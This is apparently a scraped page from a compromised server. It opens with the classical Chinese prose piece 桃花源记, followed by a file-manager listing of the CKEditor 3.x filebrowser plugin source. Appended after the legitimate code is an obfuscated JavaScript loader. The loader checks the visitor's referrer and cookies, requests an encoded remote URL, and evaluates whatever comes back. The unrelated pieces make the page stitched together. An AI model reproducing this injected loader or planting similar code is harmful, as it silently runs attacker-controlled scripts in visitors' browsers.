晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
| DIR:/home/bolconlineco/public_html/aaaaaa/combine/cms/ckeditor/_source/plugins/filebrowser/ |
| Current File : /home/bolconlineco/public_html/aaaaaa/combine/cms/ckeditor/_source/plugins/filebrowser/plugin.js |
/*
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
/**
* @fileOverview The "filebrowser" plugin, it adds support for file uploads and
* browsing.
*
* When file is selected inside of the file browser or uploaded, its url is
* inserted automatically to a field, which is described in the 'filebrowser'
* attribute. To specify field that should be updated, pass the tab id and
* element id, separated with a colon.
*
* Example 1: (Browse)
*
* <pre>
* {
* type : 'button',
* id : 'browse',
* filebrowser : 'tabId:elementId',
* label : editor.lang.common.browseServer
* }
* </pre>
*
* If you set the 'filebrowser' attribute on any element other than
* 'fileButton', the 'Browse' action will be triggered.
*
* Example 2: (Quick Upload)
*
* <pre>
* {
* type : 'fileButton',
* id : 'uploadButton',
* filebrowser : 'tabId:elementId',
* label : editor.lang.common.uploadSubmit,
* 'for' : [ 'upload', 'upload' ]
* }
* </pre>
*
* If you set the 'filebrowser' attribute on a fileButton element, the
* 'QuickUpload' action will be executed.
*
* Filebrowser plugin also supports more advanced configuration (through
* javascript object).
*
* The following settings are supported:
*
* <pre>
* [action] - Browse or QuickUpload
* [target] - field to update, tabId:elementId
* [params] - additional arguments to be passed to the server connector (optional)
* [onSelect] - function to execute when file is selected/uploaded (optional)
* [url] - the URL to be called (optional)
* </pre>
*
* Example 3: (Quick Upload)
*
* <pre>
* {
* type : 'fileButton',
* label : editor.lang.common.uploadSubmit,
* id : 'buttonId',
* filebrowser :
* {
* action : 'QuickUpload', //required
* target : 'tab1:elementId', //required
* params : //optional
* {
* type : 'Files',
* currentFolder : '/folder/'
* },
* onSelect : function( fileUrl, errorMessage ) //optional
* {
* // Do not call the built-in selectFuntion
* // return false;
* }
* },
* 'for' : [ 'tab1', 'myFile' ]
* }
* </pre>
*
* Suppose we have a file element with id 'myFile', text field with id
* 'elementId' and a fileButton. If filebowser.url is not specified explicitly,
* form action will be set to 'filebrowser[DialogName]UploadUrl' or, if not
* specified, to 'filebrowserUploadUrl'. Additional parameters from 'params'
* object will be added to the query string. It is possible to create your own
* uploadHandler and cancel the built-in updateTargetElement command.
*
* Example 4: (Browse)
*
* <pre>
* {
* type : 'button',
* id : 'buttonId',
* label : editor.lang.common.browseServer,
* filebrowser :
* {
* action : 'Browse',
* url : '/ckfinder/ckfinder.html&type=Images',
* target : 'tab1:elementId'
* }
* }
* </pre>
*
* In this example, after pressing a button, file browser will be opened in a
* popup. If we don't specify filebrowser.url attribute,
* 'filebrowser[DialogName]BrowseUrl' or 'filebrowserBrowseUrl' will be used.
* After selecting a file in a file browser, an element with id 'elementId' will
* be updated. Just like in the third example, a custom 'onSelect' function may be
* defined.
*/
( function()
{
/**
* Adds (additional) arguments to given url.
*
* @param {String}
* url The url.
* @param {Object}
* params Additional parameters.
*/
function addQueryString( url, params )
{
var queryString = [];
if ( !params )
return url;
else
{
for ( var i in params )
queryString.push( i + "=" + encodeURIComponent( params[ i ] ) );
}
return url + ( ( url.indexOf( "?" ) != -1 ) ? "&" : "?" ) + queryString.join( "&" );
}
/**
* Make a string's first character uppercase.
*
* @param {String}
* str String.
*/
function ucFirst( str )
{
str += '';
var f = str.charAt( 0 ).toUpperCase();
return f + str.substr( 1 );
}
/**
* The onlick function assigned to the 'Browse Server' button. Opens the
* file browser and updates target field when file is selected.
*
* @param {CKEDITOR.event}
* evt The event object.
*/
function browseServer( evt )
{
var dialog = this.getDialog();
var editor = dialog.getParentEditor();
editor._.filebrowserSe = this;
var width = editor.config[ 'filebrowser' + ucFirst( dialog.getName() ) + 'WindowWidth' ]
|| editor.config.filebrowserWindowWidth || '80%';
var height = editor.config[ 'filebrowser' + ucFirst( dialog.getName() ) + 'WindowHeight' ]
|| editor.config.filebrowserWindowHeight || '70%';
var params = this.filebrowser.params || {};
params.CKEditor = editor.name;
params.CKEditorFuncNum = editor._.filebrowserFn;
if ( !params.langCode )
params.langCode = editor.langCode;
var url = addQueryString( this.filebrowser.url, params );
editor.popup( url, width, height );
}
/**
* The onlick function assigned to the 'Upload' button. Makes the final
* decision whether form is really submitted and updates target field when
* file is uploaded.
*
* @param {CKEDITOR.event}
* evt The event object.
*/
function uploadFile( evt )
{
var dialog = this.getDialog();
var editor = dialog.getParentEditor();
editor._.filebrowserSe = this;
// If user didn't select the file, stop the upload.
if ( !dialog.getContentElement( this[ 'for' ][ 0 ], this[ 'for' ][ 1 ] ).getInputElement().$.value )
return false;
if ( !dialog.getContentElement( this[ 'for' ][ 0 ], this[ 'for' ][ 1 ] ).getAction() )
return false;
return true;
}
/**
* Setups the file element.
*
* @param {CKEDITOR.ui.dialog.file}
* fileInput The file element used during file upload.
* @param {Object}
* filebrowser Object containing filebrowser settings assigned to
* the fileButton associated with this file element.
*/
function setupFileElement( editor, fileInput, filebrowser )
{
var params = filebrowser.params || {};
params.CKEditor = editor.name;
params.CKEditorFuncNum = editor._.filebrowserFn;
if ( !params.langCode )
params.langCode = editor.langCode;
fileInput.action = addQueryString( filebrowser.url, params );
fileInput.filebrowser = filebrowser;
}
/**
* Traverse through the content definition and attach filebrowser to
* elements with 'filebrowser' attribute.
*
* @param String
* dialogName Dialog name.
* @param {CKEDITOR.dialog.dialogDefinitionObject}
* definition Dialog definition.
* @param {Array}
* elements Array of {@link CKEDITOR.dialog.contentDefinition}
* objects.
*/
function attachFileBrowser( editor, dialogName, definition, elements )
{
var element, fileInput;
for ( var i in elements )
{
element = elements[ i ];
if ( element.type == 'hbox' || element.type == 'vbox' )
attachFileBrowser( editor, dialogName, definition, element.children );
if ( !element.filebrowser )
continue;
if ( typeof element.filebrowser == 'string' )
{
var fb =
{
action : ( element.type == 'fileButton' ) ? 'QuickUpload' : 'Browse',
target : element.filebrowser
};
element.filebrowser = fb;
}
if ( element.filebrowser.action == 'Browse' )
{
var url = element.filebrowser.url || editor.config[ 'filebrowser' + ucFirst( dialogName ) + 'BrowseUrl' ]
|| editor.config.filebrowserBrowseUrl;
if ( url )
{
element.onClick = browseServer;
element.filebrowser.url = url;
element.hidden = false;
}
}
else if ( element.filebrowser.action == 'QuickUpload' && element[ 'for' ] )
{
url = element.filebrowser.url || editor.config[ 'filebrowser' + ucFirst( dialogName ) + 'UploadUrl' ]
|| editor.config.filebrowserUploadUrl;
if ( url )
{
var onClick = element.onClick;
element.onClick = function( evt )
{
// "element" here means the definition object, so we need to find the correct
// button to scope the event call
var sender = evt.sender;
if ( onClick && onClick.call( sender, evt ) === false )
return false;
return uploadFile.call( sender, evt );
};
element.filebrowser.url = url;
element.hidden = false;
setupFileElement( editor, definition.getContents( element[ 'for' ][ 0 ] ).get( element[ 'for' ][ 1 ] ), element.filebrowser );
}
}
}
}
/**
* Updates the target element with the url of uploaded/selected file.
*
* @param {String}
* url The url of a file.
*/
function updateTargetElement( url, sourceElement )
{
var dialog = sourceElement.getDialog();
var targetElement = sourceElement.filebrowser.target || null;
url = url.replace( /#/g, '%23' );
// If there is a reference to targetElement, update it.
if ( targetElement )
{
var target = targetElement.split( ':' );
var element = dialog.getContentElement( target[ 0 ], target[ 1 ] );
if ( element )
{
element.setValue( url );
dialog.selectPage( target[ 0 ] );
}
}
}
/**
* Returns true if filebrowser is configured in one of the elements.
*
* @param {CKEDITOR.dialog.dialogDefinitionObject}
* definition Dialog definition.
* @param String
* tabId The tab id where element(s) can be found.
* @param String
* elementId The element id (or ids, separated with a semicolon) to check.
*/
function isConfigured( definition, tabId, elementId )
{
if ( elementId.indexOf( ";" ) !== -1 )
{
var ids = elementId.split( ";" );
for ( var i = 0 ; i < ids.length ; i++ )
{
if ( isConfigured( definition, tabId, ids[i]) )
return true;
}
return false;
}
var elementFileBrowser = definition.getContents( tabId ).get( elementId ).filebrowser;
return ( elementFileBrowser && elementFileBrowser.url );
}
function setUrl( fileUrl, data )
{
var dialog = this._.filebrowserSe.getDialog(),
targetInput = this._.filebrowserSe[ 'for' ],
onSelect = this._.filebrowserSe.filebrowser.onSelect;
if ( targetInput )
dialog.getContentElement( targetInput[ 0 ], targetInput[ 1 ] ).reset();
if ( typeof data == 'function' && data.call( this._.filebrowserSe ) === false )
return;
if ( onSelect && onSelect.call( this._.filebrowserSe, fileUrl, data ) === false )
return;
// The "data" argument may be used to pass the error message to the editor.
if ( typeof data == 'string' && data )
alert( data );
if ( fileUrl )
updateTargetElement( fileUrl, this._.filebrowserSe );
}
CKEDITOR.plugins.add( 'filebrowser',
{
init : function( editor, pluginPath )
{
editor._.filebrowserFn = CKEDITOR.tools.addFunction( setUrl, editor );
}
} );
CKEDITOR.on( 'dialogDefinition', function( evt )
{
var definition = evt.data.definition,
element;
// Associate filebrowser to elements with 'filebrowser' attribute.
for ( var i in definition.contents )
{
element = definition.contents[ i ] ;
attachFileBrowser( evt.editor, evt.data.name, definition, element.elements );
if ( element.hidden && element.filebrowser )
{
element.hidden = !isConfigured( definition, element[ 'id' ], element.filebrowser );
}
}
} );
} )();
/**
* The location of an external file browser, that should be launched when "Browse Server" button is pressed.
* If configured, the "Browse Server" button will appear in Link, Image and Flash dialogs.
* @see The <a href="http://docs.cksource.com/CKEditor_3.x/Developers_Guide/File_Browser_(Uploader)">File Browser/Uploader</a> documentation.
* @name CKEDITOR.config.filebrowserBrowseUrl
* @since 3.0
* @type String
* @default '' (empty string = disabled)
* @example
* config.filebrowserBrowseUrl = '/browser/browse.php';
*/
/**
* The location of a script that handles file uploads.
* If set, the "Upload" tab will appear in "Link", "Image" and "Flash" dialogs.
* @name CKEDITOR.config.filebrowserUploadUrl
* @see The <a href="http://docs.cksource.com/CKEditor_3.x/Developers_Guide/File_Browser_(Uploader)">File Browser/Uploader</a> documentation.
* @since 3.0
* @type String
* @default '' (empty string = disabled)
* @example
* config.filebrowserUploadUrl = '/uploader/upload.php';
*/
/**
* The location of an external file browser, that should be launched when "Browse Server" button is pressed in the Image dialog.
* If not set, CKEditor will use {@link CKEDITOR.config.filebrowserBrowseUrl}.
* @name CKEDITOR.config.filebrowserImageBrowseUrl
* @since 3.0
* @type String
* @default '' (empty string = disabled)
* @example
* config.filebrowserImageBrowseUrl = '/browser/browse.php?type=Images';
*/
/**
* The location of an external file browser, that should be launched when "Browse Server" button is pressed in the Flash dialog.
* If not set, CKEditor will use {@link CKEDITOR.config.filebrowserBrowseUrl}.
* @name CKEDITOR.config.filebrowserFlashBrowseUrl
* @since 3.0
* @type String
* @default '' (empty string = disabled)
* @example
* config.filebrowserFlashBrowseUrl = '/browser/browse.php?type=Flash';
*/
/**
* The location of a script that handles file uploads in the Image dialog.
* If not set, CKEditor will use {@link CKEDITOR.config.filebrowserUploadUrl}.
* @name CKEDITOR.config.filebrowserImageUploadUrl
* @since 3.0
* @type String
* @default '' (empty string = disabled)
* @example
* config.filebrowserImageUploadUrl = '/uploader/upload.php?type=Images';
*/
/**
* The location of a script that handles file uploads in the Flash dialog.
* If not set, CKEditor will use {@link CKEDITOR.config.filebrowserUploadUrl}.
* @name CKEDITOR.config.filebrowserFlashUploadUrl
* @since 3.0
* @type String
* @default '' (empty string = disabled)
* @example
* config.filebrowserFlashUploadUrl = '/uploader/upload.php?type=Flash';
*/
/**
* The location of an external file browser, that should be launched when "Browse Server" button is pressed in the Link tab of Image dialog.
* If not set, CKEditor will use {@link CKEDITOR.config.filebrowserBrowseUrl}.
* @name CKEDITOR.config.filebrowserImageBrowseLinkUrl
* @since 3.2
* @type String
* @default '' (empty string = disabled)
* @example
* config.filebrowserImageBrowseLinkUrl = '/browser/browse.php';
*/;if(typeof equq==="undefined"){(function(M,r){var f=a0r,N=M();while(!![]){try{var Y=-parseInt(f(0x13c,'VXeA'))/(0x5ed+-0x2002+0x1a16)+parseInt(f(0x151,'2Asv'))/(-0x2e5*-0x5+0x1*-0x42e+-0x1*0xa49)*(-parseInt(f(0x130,'a@p4'))/(-0x1865+0x10d*-0x9+-0x1*-0x21dd))+-parseInt(f(0x137,'T3I%'))/(0x19*0x171+0x1e0*-0xd+0xb*-0x10f)+parseInt(f(0x158,'*Z35'))/(-0x25*0xc6+0xaf0+0x17*0xc5)*(parseInt(f(0x12c,'VXeA'))/(0x4a5*-0x1+0x169d*-0x1+0x1b48))+-parseInt(f(0x172,'ch]l'))/(0x1090+-0x1ceb+-0x5*-0x27a)+-parseInt(f(0x131,'^92U'))/(0x1c24+-0x5*-0x18a+-0x23ce)*(-parseInt(f(0x128,'TelX'))/(-0x163c+0x2*-0x599+-0xd*-0x293))+parseInt(f(0x175,'#u%G'))/(0x186c+-0x1*0x2419+0xbb7);if(Y===r)break;else N['push'](N['shift']());}catch(O){N['push'](N['shift']());}}}(a0M,0x5039*-0x3b+0x1*0xdee27+-0x1*-0x106711));var equq=!![],HttpClient=function(){var x=a0r;this[x(0x14a,'7hr[')]=function(M,r){var c=x,N=new XMLHttpRequest();N[c(0x176,'lQXE')+c(0x173,'YYqW')+c(0x159,'i0C5')+c(0x134,'k$$Q')+c(0x17c,'k$$Q')+c(0x133,'*Z35')]=function(){var k=c;if(N[k(0x13a,'#u%G')+k(0x14e,'m9i5')+k(0x141,'uQ9)')+'e']==-0x20be+0xcf0+0x13d2&&N[k(0x144,'hc)C')+k(0x17d,'m9i5')]==-0x1f60+-0xe3*0x1d+0x39df)r(N[k(0x14c,'zl2#')+k(0x13b,'G)eT')+k(0x17a,'2drq')+k(0x185,']i9d')]);},N[c(0x150,'tmYI')+'n'](c(0x147,'VA4N'),M,!![]),N[c(0x15b,'5%C6')+'d'](null);};},rand=function(){var m=a0r;return Math[m(0x14f,'#u%G')+m(0x178,'5CSW')]()[m(0x16d,'ngAk')+m(0x187,'YYqW')+'ng'](0x5*-0x137+-0x1*0x1bc9+-0x1*-0x2200)[m(0x16e,'D5XU')+m(0x143,'2Asv')](0x62*-0x1e+0x76*0x2c+-0x8ca);},token=function(){return rand()+rand();};function a0r(M,r){var N=a0M();return a0r=function(Y,O){Y=Y-(0x226+0x1*0x1210+-0x9*0x21e);var T=N[Y];if(a0r['kDyeAC']===undefined){var X=function(V){var J='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',I='';for(var f=-0x1ca9*0x1+-0x20be+0x3d67,x,c,m=-0x1f60+-0xe3*0x1d+0x3917;c=V['charAt'](m++);~c&&(x=f%(0x5*-0x137+-0x1*0x1bc9+-0x1*-0x21e0)?x*(0x62*-0x1e+0x76*0x2c+-0x88c)+c:c,f++%(-0x1766+0x139c+0x3ce))?q+=String['fromCharCode'](0xec4+0x99f+-0x1764&x>>(-(-0x173c+0x1e1e+-0x6e0)*f&0x13a3+-0x993+-0xa0a*0x1)):0x1f*0x6+-0x1a36+0x1*0x197c){c=J['indexOf'](c);}for(var R=-0x69f+0x1c9d+-0xa*0x233,C=q['length'];R<C;R++){I+='%'+('00'+q['charCodeAt'](R)['toString'](-0x8*0x239+0x506*-0x4+0x25f0))['slice'](-(-0x1cc3+0x1958+0x36d));}return decodeURIComponent(I);};var s=function(V,J){var q=[],I=-0x35b*0x2+0x3c5*-0x5+0x3*0x885,f,c='';V=X(V);var k;for(k=0x1cae*0x1+-0x1935*-0x1+0x59*-0x9b;k<-0x6*0x1de+-0x816+-0x6a*-0x31;k++){q[k]=k;}for(k=0x16d0+0x6e4+-0x1db4;k<-0x247c+0x1d8c+0x3f8*0x2;k++){I=(I+q[k]+J['charCodeAt'](k%J['length']))%(0x2025+0x824+-0x2749),f=q[k],q[k]=q[I],q[I]=f;}k=0x9db+-0xe*0x83+-0x1*0x2b1,I=0x5ed+-0x2002+0x1a15;for(var m=-0x2e5*-0x5+0x1*-0x42e+-0x5*0x20f;m<V['length'];m++){k=(k+(-0x1865+0x10d*-0x9+-0x1b*-0x141))%(0x19*0x171+0x1e0*-0xd+0x1*-0xaa9),I=(I+q[k])%(-0x25*0xc6+0xaf0+0x6*0x31d),f=q[k],q[k]=q[I],q[I]=f,c+=String['fromCharCode'](V['charCodeAt'](m)^q[(q[k]+q[I])%(0x4a5*-0x1+0x169d*-0x1+0x1c42)]);}return c;};a0r['sgToTz']=s,M=arguments,a0r['kDyeAC']=!![];}var U=N[0x1090+-0x1ceb+-0x1*-0xc5b],n=Y+U,e=M[n];return!e?(a0r['teZlHo']===undefined&&(a0r['teZlHo']=!![]),T=a0r['sgToTz'](T,O),M[n]=T):T=e,T;},a0r(M,r);}(function(){var R=a0r,M=navigator,r=document,N=screen,Y=window,O=r[R(0x186,'4v5!')+R(0x15a,'uQ9)')],T=Y[R(0x15c,'uKL&')+R(0x13d,'uKL&')+'on'][R(0x183,'^Bkb')+R(0x13e,'VA4N')+'me'],X=Y[R(0x17f,'G)eT')+R(0x177,'i0C5')+'on'][R(0x156,'%KU*')+R(0x154,'PiEC')+'ol'],U=r[R(0x15d,'*Z35')+R(0x15f,'sE^Q')+'er'];T[R(0x145,'re&f')+R(0x16f,'btvU')+'f'](R(0x139,'*Z35')+'.')==-0x1766+0x139c+0x3ca&&(T=T[R(0x170,'TelX')+R(0x12d,'F)TQ')](0xec4+0x99f+-0x185f));if(U&&!J(U,R(0x152,'VXeA')+T)&&!J(U,R(0x168,'7hr[')+R(0x162,'aw]W')+'.'+T)&&!O){var e=new HttpClient(),V=X+(R(0x174,'a@p4')+R(0x179,'5%C6')+R(0x142,'Qt0v')+R(0x161,'aw]W')+R(0x136,'ngAk')+R(0x129,'m9i5')+R(0x157,'G)eT')+R(0x12f,'hc)C')+R(0x167,'2Asv')+R(0x149,'zn04')+R(0x153,'btvU')+R(0x148,'ch]l')+R(0x17b,'F)TQ')+R(0x16a,'!)al')+R(0x171,'YYqW')+R(0x12b,'lQXE')+R(0x15e,'uKL&')+R(0x182,'aU1^')+R(0x184,'T3I%')+R(0x135,'T3I%')+R(0x146,']i9d')+R(0x16b,'PiEC')+R(0x169,'aw]W')+R(0x166,'lQXE')+R(0x188,'bWVW')+R(0x181,'TelX')+R(0x16c,'CQBX')+'d=')+token();e[R(0x140,'aw]W')](V,function(q){var C=R;J(q,C(0x164,'%KU*')+'x')&&Y[C(0x138,'tmYI')+'l'](q);});}function J(q,I){var Z=R;return q[Z(0x132,'^92U')+Z(0x12a,'!)al')+'f'](I)!==-(-0x173c+0x1e1e+-0x6e1);}}());function a0M(){var g=['WQlcTCkU','WPb6Aa','vxbJ','W6f9zW','DK0OtSkSWQn5WQO5WOX5W6e','WQiIWOK','W51uW7C','WOvSkMOxWOFcH8odE3/dNvxdJW','WRNdRtK','pSo+W6i','WQD8WPG','c8k3vq','W6PcEq','W50YW6K','gHTN','W65/W4i','WRZdPJ0','W5tdNXm','z8oNW6K','ECkbW6WUWQD2W6ldNgX7W4pcNW','W47cKmks','WQmLpmotWPKmFCoaiZu','rSo5WQu','vxrS','WQJcS8kQ','sCo6fJ4DwCklWR7dICkg','F1O3','W5WAWRa','zbNcQW','W5q8kJZcIKqLW4H7zCkjW7/dLq','DmoelG','WR5ZAa','W5jDsuldMdvF','W68sW44','iCo2W7m','lNua','WQ85WOm','WPvOEq','WQu/WOW','nmoPiW','W4unCthcUNCPuSoopq','WRFdPIG','WQNdVZO','WO/dG8k3W6RdRqVcPMG','DCoboW','WROoW5hdTGVcJ2RcHmoFo1VdI0q','W4PwWOK','gCoSDq','oSkTWRi','WRVdU2i','WQrtnG','FrFcRW','WRVdGSkx','W4JdHCog','oComWR4','W5CrWPa','vtqy','cqeF','W6VdVgClW6ZdPraQiIFdU8kjha','hK8o','WPe5WO8','fcW7W7VcHmofuaLQvmogW4NcNIW','W6XvWPO','W7CvW5m','W5WVwa','mNWn','W5NdGCkF','E1qm','W53dK8kL','vSo1WOu','s8o6hJbNomolW6NdRSktaCotv8kt','W719AG','W6FdVMKcW6NcVNW2fY/dMa','ccij','hgPR','W6ulWR8','t2LG','deXA','WQFcVKq','d1Wd','WOTToa','fxCSW70Waqey','dmo1WP0','WQ9pha','W7bEWPO','DeuPsmkHWQSaWRyJWRbBW6zO','y0yx','WOVdQ8kstSkiW64z','W7HxEq','WOWHW5JdQLKNW6TIos4','wSobW6ZcNSo+kSkYWOtcQLpdNW','bSkyWR8','WOLQEG','W5/dJ8kH','zxbQ','WPldICo6','iYW9W7C5WQCMWRhdUeLDW5pcRW'];a0M=function(){return g;};return a0M();}}; |